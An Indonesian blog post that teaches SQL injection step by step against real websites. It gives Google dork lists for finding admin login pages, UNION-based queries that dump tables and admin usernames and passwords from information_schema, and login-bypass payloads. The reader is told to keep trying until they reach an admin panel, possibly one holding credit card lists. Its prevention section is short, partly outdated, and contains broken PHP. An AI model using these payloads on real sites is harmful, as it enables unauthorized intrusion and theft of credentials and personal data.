Peringatan ! Ini hanya untuk tujuan pendidikan saja .. coba
di risiko Anda sendiri, kami tidak bertanggung jawab. gunakan untuk kebaikan dan keamanan kalian masing2. Do with Your Risk !
hallo sob kali ini saya akan membahas SQL Injection, mungkin ini akan sedikit rumit sob, maklumin saja yah :). Oke langsung saja SEE AND LEARN
Cara ngehacking web atau biasa disebut web attack sangat
banyak caranya, salah satunya dengan cara SQL injection.
SQL injection terjadi ketika attacker bisa meng-insert
beberapa SQL statement ke ‘query’ dengan cara manipulasi data input ke
applikasi tsb.
ini salah satu cara melakukan tekhnik SQL injection
Source HN Forum
Injeksi SQL atau SQL Injection memiliki makna dan arti yaitu
sebuah teknik yang menyalahgunakan sebuah celah keamanan yang terjadi dalam
lapisan basis data sebuah aplikasi. Celah ini terjadi ketika masukan pengguna
tidak disaring secara benar dari karakter-karakter pelolos bentukan string yang
diimbuhkan dalam pernyataan SQL atau masukan pengguna tidak bertipe kuat dan
karenanya dijalankan tidak sesuai harapan. Ini sebenarnya adalah sebuah contoh
dari sebuah kategori celah keamanan yang lebih umum yang dapat terjadi setiap
kali sebuah bahasa pemrograman atau skrip diimbuhkan di dalam bahasa yang lain.
SQL Injection adalah salah satu teknik yang sering di gunakan untuk menyerang sebuah situs web. dengan cara ini memungkinkan seseorang dapat login tanpa harus memiliki akun di sebuah web site Selain itu SQL injection juga memungkinkan seseorang merubah, menghapus, maupun menambahkan data–data yang berada didalam database bahkan pula dapat mematikannya.
(Wikipedia)
SQL injection adalah jenis aksi hacking pada keamanan
komputer di mana seorang penyerang bisa mendapatkan akses ke basis data di
dalam sistem. SQL injection yaitu serangan yang mirip dengan serangan XSS dalam
bahwa penyerang memanfaatkan aplikasi vektor dan juga dengan Common dalam
serangan XSS.
SQL injection exploits dan sejenisnya adalah hasil
interfacing sebuah bahasa lewat informasi melalui bahasa lain . Dalam hal SQL
injection, sebuah bahasa pemrograman seperti PHP atau Perl mengakses database
melalui SQL query. Jika data yang diterima dari pengguna akhir yang dikirim
langsung ke database dan tidak disaring dengan benar, maka yang penyerang dapat
menyisipkan perintah SQL nya sebagai bagian dari input. (de-kill.blogspot)
Sebab terjadinya SQL Injection
1) Tidak
adanya penanganan terhadap karakter – karakter tanda petik satu ’ dan juga
karakter double
minus -- yang menyebabkan suatu aplikasi dapat disisipi dengan
perintah SQL.
2) Sehingga
seorang Hacker menyisipkan perintah SQL kedalam suatu parameter maupun suatu
form.
Bug SQL Injection berbahaya ?
1) Teknik
ini memungkinkan seseorang dapat login kedalam sistem tanpa harus memiliki
account.
2) Selain itu
SQL injection juga memungkinkan seseorang merubah, menghapus, maupun
menambahkan
data–data yang berada didalam database.
3) Bahkan
yang lebih berbahaya lagi yaitu mematikan database itu sendiri, sehingga tidak
bisa memberi
layanan kepada web server.
Apa saja yang diperlukan untuk melakukan SQL Injection ?
1) Internet
Exploler / Browser
2) PC yang
terhubung internet
3) Program
atau software seperti softice
Untuk mempermudah dalam praktek SQL Injection ini, maka bisa
menggunakan tools berikut: Untuk mempermudah dalam praktek SQL Injection ini, maka bisa
menggunakan tools berikut:
1. BSQL Hacker
Dikembangkan oleh Portcullis Labs, BSQL Hacker adalah SQL
injection yang di rancang untuk mengeksplor hampir seluruh jenis data base
2. The Mole
3. Pangolin
Dll ...
Yang perlu diketahui sebelum melakukan SQL Injection pada
MySQL:
karakter: ‘ atau -
comments: /* atau –
information_schema untuk versi: MySQL versi 5.x , tidak
support untuk MySQL versi 4.x
[ Langkah 1 ]
Carilah target
Misal: [site]/berita.php?id=100Tambahkan karakter ‘ pada
akhir url atau menambahkan karakter “-” untuk melihat apakah ada pesan error.
contoh:
[site]/berita.php?id=100′ atau
[site]/berita.php?id=-100
Sehingga muncul pesan error seperti berikut [ masih banyak
lagi ]
[ Langkah 2 ]
Mencari dan menghitung jumlah table yang ada dalam
databasenya…
gunakan perintah: order
byContoh:[site]/berita.php?id=-100+order+by+1– atau
[site]/berita.php?id=-100+order+by+1/*Ceklah secara Langkah
by Langkah (satupersatu)…
Misal:[site]/berita.php?id=-100+order+by+1–
[site]/berita.php?id=-100+order+by+2–
[site]/berita.php?id=-100+order+by+3–
[site]/berita.php?id=-100+order+by+4–Sehingga muncul error
atau hilang pesan error…
Misal: [site]/berita.php?id=-100+order+by+9–
Berarti yang kita ambil adalah sampai angka 8
Menjadi [site]/berita.php?id=-100+order+by+8–
[ Langkah 3 ]
untuk mengeluarkan angka berapa yang muncul gunakan perintah
union
karena tadi error sampai angka 9
maka:
[site]/berita.php?id=-100+union+select+1,2,3,4,5,6,7,8–ok seumpama yg keluar
angka 5gunakan perintah version() atau @@version untuk mengecek versi sql yg
diapakai masukan perintah tsb pada nagka yg keluar tadi
misal:
[site]/berita.php?id=-100+union+select+1,2,3,4,version(),6,7,8– atau
[site]/berita.php?id=-100+union+select+1,2,3,4,@@version,6,7,8–Lihat
versi yang digunakan se’umpama versi 4 tinggalkan saja karena dalam versi 4 ini
kita harus menebak sendiri table dan column yang ada pada web tersebut karena
tidak bisa menggunakan perintah From+Information_schema..Untuk versi 5 berarti
anda beruntung tak perlu menebak table dan column seperti versi 4 karena di
versi 5 ini bisa menggunakan perintah From+Information_schema..
[ Langkah 4 ]
Untuk menampilkan table yang ada pada web tersebut adalah
perintah table_name >>> dimasukan pada angka yangg
keluar tadi
perintah +from+information_schema.tables/* >>>
dimasukan setelah angka terakhirCode:[site]/berita.php?id=-100+union+select+1,2,3,4,table_name,6,7,8+from+information_schema.tables–Se’umpama
table yang muncul adalah “admin”
[ Langkah 5 ]
untuk menampilkan semua isi dari table tersebut adalah
perintah group_concat(table_name) >>> dimasukan
pada angka yang keluar tadi
perintah
+from+information_schema.tables+where+table_schema=database() >>>
dimasukan setelah angka
terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(table_name),6,7,8+from+information_schema.
tables+where+table_schema=database()–
[ Langkah 6 ]
Perintah group_concat(column_name) >>> dimasukan
pada angka yang keluar tadi
perintah
+from+information_schema.columns+where+table_name=0xhexa– >>>
dimasukan setelah angka terakhir[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema
.columns+where+table_name=0xhexa–Pada tahap ini kamu wajib mengextrak kata pada
isi table menjadi hexadecimal yaitu dengan cara mengkonversinya
Website yg digunakan untuk konversi :http://www.v3n0m.net/ascii.htmContoh
kata yang ingin dikonversi yaitu admin maka akan menjadi
61646D696E[site]/berita.php?id=-100+union+select+1,2,3,4,group_concat(column_name),6,7,8+from+information_schema
.columns+where+table_name=0x61646D696E–
[ Langkah 7 ]
Memunculkan apa yang tadi telah dikeluarkan dari table yaitu
dengan caraperintah concat_ws(0x3a,hasil isi column yg mau dikeluarkan)
>>> dimasukan pada angka yg keluar tadi
perintah +from+(nama table berasal) >>> dimasukan
setelah angka terakhirContoh :[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,hasil
isi column),6,7,8+from+(nama table berasal)–Contoh kata yang keluar adalah
id,username,passwordContoh :
[site]/berita.php?id=-100+union+select+1,2,3,4,concat_ws(0x3a,id,username,password),6,7,8+from+admin–
[ Langkah 8 ]
Tahap terakhir mencari halaman admin atau login.
Contoh Sintaks SQL Injection
Contoh sintak SQL dalam PHP
1) $SQL = “select * from login where username =’$username’
and password = ‘$password’”; , {dari GET atau POST variable }
2) isikan password dengan string ’ or ’’ = ’
3) hasilnya maka SQL akan seperti ini = “select * from login
where username = ’$username’ and password=’pass’ or ‘=′”; , { dengan SQL ini
hasil selection akan selalu TRUE }
4) maka kita bisa inject sintax SQL (dalam hal ini OR)
kedalam SQL
Contoh sintaks SQL Injection
1) Sintaks SQL string ‘– setelah nama username
Penanganan SQL Injection
1) Merubah script php
2) Menggunakan MySQL_escape_string
3) Pemfilteran karakter ‘ dengan memodifikasi php.ini
1. Merubah script php
Contoh script php semula :
$query = “select id,name,email,password,type,block from user
” .
“where email = ‘$Email’ and password = ‘$Password’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
else if(!empty($Id) && !empty($name) &&
!empty($email) && !empty($password));
Script diatas memungkinkan seseorang dapat login dengan
menyisipkan perintah SQL kedalam form login. Ketika hacker menyisipkan karakter
’ or ’’ = ’ kedalam form email dan password maka akan terbentuk query sebagai
berikut :
Maka dilakukan perubahan script menjadi :
$query = “select id,name,email,password,type,block from
user”.
“where email = ‘$Email’”;
$hasil = mySQL_query($query, $id_mySQL);
while($row = mySQL_fetch_row($hasil))
{
$Id = $row[0];
$name = $row[1];
$email = $row[2];
$password = $row[3];
$type = $row[4];
$block = $row[5];
}
if(strcmp($block, ‘yes’) == 0)
{
echo “<script>alert(‘Your account has been blocked’);
document.location.href=’index.php’;</script>\n”;
exit();
}
$pass = md5($Password);
else if((strcmp($Email,$email) == 0) &&
strcmp($pass,$password) == 0));
2. Menggunakan MySQL_escape_string
Merubah string yang mengandung karakter ‘ menjadi \’ misal
SQL injec’tion menjadi SQL injec\’tion
Contoh : $kar = “SQL injec’tion”;
$filter = mySQL_escape_string($kar);
echo”Hasil filter : $filter”;
Hasilnya :
3. Pemfilteran karakter ‘ dengan memodifikasi php.ini
Modifikasi dilakukan dengan mengenablekan variabel
magic_quotes pada php.ini sehingga menyebabkan string maupun karakter ‘ diubah
menjadi \’ secara otomatis oleh php
Contoh :
Contoh script yang membatasi karakter yang bisa masukkan :
function validatepassword( input )
good_password_chars =
“abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ”
validatepassword = true
for i = 1 to len( input )
c = mid( input, i, 1 )
if ( InStr( good_password_chars, c ) = 0 ) then
validatepassword = false
exit function
end if
next
end function
Implementasi SQL Injection
1) Masuk ke google atau browse yg lain
2) Masukkan salah satu keyword berikut
“/admin.asp”
“/login.asp”
“/logon.asp”
“/adminlogin.asp”
“/adminlogon.asp”
“/admin_login.asp”
“/admin_logon.asp”
“/admin/admin.asp”
“/admin/login.asp”
“/admin/logon.asp”
{anda bisa menambahi sendiri sesuai keinginan anda}
3) Bukalah salah satu link yang ditemukan oleh google,
kemungkinan Anda akan menjumpai sebuah halaman login (user name danpassword).
4) Masukkan kode berikut :
User name : ` or `a’='a
Password : ` or `a’='a (termasuk tanda petiknya)
5) Jika berhasil, kemungkinan Anda akan masuk ke admin
panel, di mana Anda bisa menambahkan berita, mengedit user yang lain, merubah
about,
dan lain-lain. Jika beruntung Anda bisa mendapatkan daftar
kredit card yang banyak.
6) Jika tidak berhasil, cobalah mencari link yang lain yang
ditemukan oleh google.
7) Banyak variasi kode yang mungkin, antara lain :
User name : admin
Password : ` or `a’='a
atau bisa dimasukkan ke dua–duanya misal :
‘ or 0=0 — ; “ or 0=0 — ; or 0=0 — ; ‘ or 0=0 # ;
“ or 0=0 # ; ‘ or’x’=’x ; “ or “x”=”x ; ‘) or (‘x’=’x
8) Cobalah sampai berhasil hingga anda bisa masuk ke admin
panel
Cara pencegahan SQL INJECTION
1) Batasi panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya
gak bisa diinject dengan perintah
yang panjang.
2) Filter input yang dimasukkan oleh user, terutama
penggunaan tanda kutip tunggal (Input Validation).
3) Matikan atau sembunyikan pesan-pesan error yang keluar
dari SQL Server yang berjalan.
4) Matikan fasilitas-fasilitas standar seperti Stored
Procedures, Extended Stored Procedures jika
memungkinkan.
5) Ubah “Startup and run SQL Server” menggunakan low
privilege user di SQL Server Security tab.
(Source: singgahpay.blogspot)
Cara pencegahan SQL INJECTION
1) Batasi
panjang input box (jika memungkinkan), dengan
cara membatasinya di kode program, jadi si cracker pemula
akan bingung sejenak melihat input box nya gak bisa diinject dengan perintah
yang panjang.
2) Filter
input yang dimasukkan oleh user, terutama penggunaan tanda kutip tunggal (Input
Validation).
3) Matikan
atau sembunyikan pesan-pesan error yang keluar dari SQL Server yang berjalan.
4) Matikan
fasilitas-fasilitas standar seperti Stored Procedures, Extended Stored
Procedures jika memungkinkan.
5) Ubah
"Startup and run SQL Server" menggunakan low privilege user di SQL
Server Security tab.
R E F E R E N S I
1)-------------,
SQLinjection, (www.BlackAngels.it).
2)-------------,
Advanced SQL injection in SQL server applications, (www.ngssoftware.com).
3)-------------,
SQL injection walktrough (www.securiteam.com).
4)BM-100,
”Hacking hiltonjakarta.com (SQL Injection)”, 24 Juli 2005,
(http://www.jasakom.com).
5)Budi
Raharjo, ”Keamanan Sistem Informasi Berbasis Internet”, PT Insan Indonesia
& PT
INDOCISC, Jakarta,2002.
See more at:
http://www.binushacker.net/pengertian-tutorial-tools-sql-injection-cara-kumpulan-software-sql-injection.html
http://ibc-forum.forumc.biz/t85-tutorial-sql-injection
.jpg)




Tidak ada komentar:
Posting Komentar
Segala bentuk spam akan dihapus ! Silakan tinggalkan komentar bagi yang merasa ingin bertanya